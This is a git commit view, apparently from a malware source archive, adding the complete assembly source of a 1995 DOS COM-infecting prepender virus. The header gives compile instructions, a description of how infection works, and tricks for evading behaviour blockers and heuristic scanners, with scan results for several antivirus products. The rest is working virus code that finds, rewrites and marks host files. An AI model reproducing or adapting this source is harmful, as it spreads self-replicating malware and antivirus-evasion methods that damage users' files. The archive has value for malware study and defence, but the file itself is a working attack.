mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
vxunderground
@@ -0,0 +1,183 @@
|
||||
;******************************************************************************
|
||||
;
|
||||
; "I'm the great prepender!" - Jest on Queen by Rajaat / Genesis
|
||||
;
|
||||
;******************************************************************************
|
||||
;
|
||||
; Virus name : Great_Prepender
|
||||
; Author : Rajaat
|
||||
; Origin : United Kingdom, December 1995
|
||||
; Compiling : Using TASM | Using A86
|
||||
; |
|
||||
; TASM /M PREPEND | A86 PREPEND.ASM
|
||||
; TLINK /T PREPEND |
|
||||
; Targets : COM files
|
||||
; Size : 144 bytes
|
||||
; Resident : No
|
||||
; Polymorphic : No
|
||||
; Encrypted : No
|
||||
; Stealth : No
|
||||
; Tunneling : No - is not needed for some programs
|
||||
; Retrovirus : Yes - TBAV, SUSPICIOUS, F-PROT & VSAFE
|
||||
; Antiheuristics: Yes - TBAV, SUSPICIOUS & F-PROT
|
||||
; Peculiarities : Shifts the whole file after the virus code
|
||||
; Rewrites the whole file for infection
|
||||
; Avoids TBAV & SUSPICIOUS using a 2 byte signature
|
||||
; Drawbacks : Hangs if host is TSR program
|
||||
; Hangs if host jumps to PSP:0
|
||||
; Needs at least 64k free space after host
|
||||
; Behaviour : When a COM file infected with Great_Prepender virus is
|
||||
; executed, the virus will search for a COM file in the
|
||||
; current directory that doesn't have a 0 in the seconds
|
||||
; field of the file date/time. The virus will read the entire
|
||||
; file in a block after the current host. Great_Prepender now
|
||||
; creates a new file with the same name and writes itself at
|
||||
; the start of the file, and appends the rest of the host
|
||||
; behind it's own code, thus effectively shifting the whole
|
||||
; host with 144 bytes. The virus will restore the host in a
|
||||
; very peculiar way. It modifies the segment registers in a
|
||||
; way that the host looks if it's aligned at 100h, the normal
|
||||
; address for COM files to start. It then copies most of the
|
||||
; DTA over it's own code and executes the host. The stack
|
||||
; segment is not modified. Because the virus shifts only the
|
||||
; DTA and doesn't change the memory allocation, resident
|
||||
; programs have a chance of crashing, because they don't
|
||||
; allocate 144 bytes of their own code (if function 31h is
|
||||
; used for the allocation). Great_Prepender is targetted at
|
||||
; a few resident behaviour blockers, effectively avoiding them.
|
||||
; The virus also has some tricks to avoid being scanned by a
|
||||
; few antivirus programs that can perform heuristic scanning.
|
||||
; It's unknown what this virus might do besides replicate :)
|
||||
;******************************************************************************
|
||||
;
|
||||
; Results with antivirus software
|
||||
;
|
||||
; TBFILE - doesn't trigger
|
||||
; TBSCAN - flags 'p' (packed file)
|
||||
; TBCLEAN - can't reconstruct without ANTIVIR.DAT
|
||||
; SVS - doesn't trigger
|
||||
; SSC - no flags
|
||||
; F-PROT - no virus found
|
||||
; F-PROT /ANALYSE - no virus found
|
||||
; F-PROT /ANALYSE /PARANOID - unusual code
|
||||
; AVP - virus type Com suspicion (0 bytes)
|
||||
; VSAFE - doesn't trigger
|
||||
; NEMESIS - triggers :(
|
||||
;
|
||||
;******************************************************************************
|
||||
;
|
||||
; Big hello to : Immortal Riot, VLAD, Phalcon/Skism and everyone on #virus who
|
||||
; deserves it to be greeted by me.
|
||||
;
|
||||
;******************************************************************************
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
org 100h
|
||||
|
||||
dta equ 0fd00h-1eh
|
||||
|
||||
;===( Main part of the virus )=================================================
|
||||
im_the_great_prepender:
|
||||
push ax ; fool TBSCAN and SSC
|
||||
dec bx
|
||||
|
||||
xchg ax,cx
|
||||
mov ah,1ah
|
||||
mov dx,dta
|
||||
int 21h ; move dta to end of segment
|
||||
|
||||
mov ah,4eh
|
||||
find_next: lea dx,filemask
|
||||
int 21h ; search COM file
|
||||
jc restore_host ; go restore_host if seek fails
|
||||
|
||||
mov ah,4fh
|
||||
test byte ptr ds:dta+16h,00011111b
|
||||
jz find_next ; if seconds != 0 go find_next
|
||||
|
||||
;===( Infect file )============================================================
|
||||
|
||||
mov ah,3dh
|
||||
mov dx,dta+1eh
|
||||
int 21h ; open file with read access
|
||||
|
||||
xchg ax,bx
|
||||
xchg ax,cx
|
||||
push ds
|
||||
pop ax
|
||||
add ah,10h
|
||||
push ax
|
||||
push ax
|
||||
pop ds
|
||||
mov ah,3fh
|
||||
cwd ; read whole file in next
|
||||
int 21h ; 64k block
|
||||
push ax ; store file size
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,3eh
|
||||
int 21h ; close file
|
||||
|
||||
mov ah,3ch
|
||||
mov dh,0fdh
|
||||
inc cx
|
||||
int 21h ; create new file (overwrite)
|
||||
|
||||
mov ah,40h
|
||||
mov dh,01h
|
||||
mov cl,virus_size
|
||||
int 21h ; write virus
|
||||
|
||||
mov ah,40h
|
||||
pop cx
|
||||
pop ds
|
||||
cwd
|
||||
int 21h ; write host
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax,5701h
|
||||
mov cx,word ptr ds:dta+16h
|
||||
mov dx,word ptr ds:dta+18h
|
||||
and cl,11100000b ; set seconds to 0 and
|
||||
int 21h ; restore date/time
|
||||
|
||||
mov ah,3eh
|
||||
int 21h ; close file
|
||||
|
||||
;===( Return to host )=========================================================
|
||||
restore_host: push cs ; shift the segment
|
||||
pop si ; and prepare for dta
|
||||
add si,09h ; transfer.
|
||||
push si
|
||||
push si
|
||||
mov di,100h-(virus_end-reconstruct)
|
||||
mov cx,di
|
||||
push di
|
||||
push si
|
||||
pop es
|
||||
xor si,si
|
||||
mov di,si
|
||||
mov dx,80h
|
||||
retf ; jump to new cs:ip (shifted)
|
||||
|
||||
filemask db '*Rajaat.COM',0 ; file mask and author name
|
||||
|
||||
reconstruct: rep movsb ; copy dta to new location
|
||||
pop ds ; (over virus code)
|
||||
mov ah,1ah
|
||||
int 21h ; set new dta
|
||||
pop ax ; clear ax
|
||||
|
||||
virus_end equ $
|
||||
virus_size equ $-im_the_great_prepender
|
||||
|
||||
;===( Original shifted host )==================================================
|
||||
|
||||
mov ax,4c00h
|
||||
int 21h
|
||||
|
||||
end im_the_great_prepender
|
||||
Reference in New Issue
Block a user